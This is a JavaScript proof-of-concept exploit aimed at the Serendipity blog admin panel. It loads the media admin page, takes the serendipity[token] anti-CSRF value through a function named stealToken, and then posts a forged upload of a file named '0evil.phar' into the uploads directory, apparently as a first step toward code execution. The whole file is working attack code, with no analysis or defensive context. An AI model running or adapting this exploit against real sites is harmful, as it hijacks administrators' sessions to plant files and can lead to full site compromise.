let page = 'http://localhost.com/serendipity/serendipity_admin.php?serendipity[adminModule]=media';

function stealToken(data) {
   let dom = new DOMParser();
   let doc = dom.parseFromString(data, "text/html");
   let input = doc.getElementsByName("serendipity[token]")[0];
   
   submit(input.value);
};

function submit(token) {
    let blob = new Blob([""], {type: 'application/octet-stream'});

    let formData = new FormData();
    formData.append("serendipity[token]", token);
    formData.append("serendipity[action]", "admin");
    formData.append("serendipity[adminModule]", "media");
    formData.append("serendipity[adminAction]", "add");
    formData.append("serendipity[userfile][1]", blob, "0evil.phar");
    formData.append("serendipity[target_filename][1]", "");
    formData.append("serendipity[target_directory][1]", "uploads/");
    formData.append("serendipity[column_count][1]", "true");
    formData.append("serendipity[imageurl]", "");
    formData.append("serendipity[target_filename][]", "");
    formData.append("serendipity[target_directory][]", "");
    fetch(page, {
            method: 'POST',
            body: formData
    });
}

fetch(page)
    .then(r => r.text())
    .then(d => { stealToken(d) });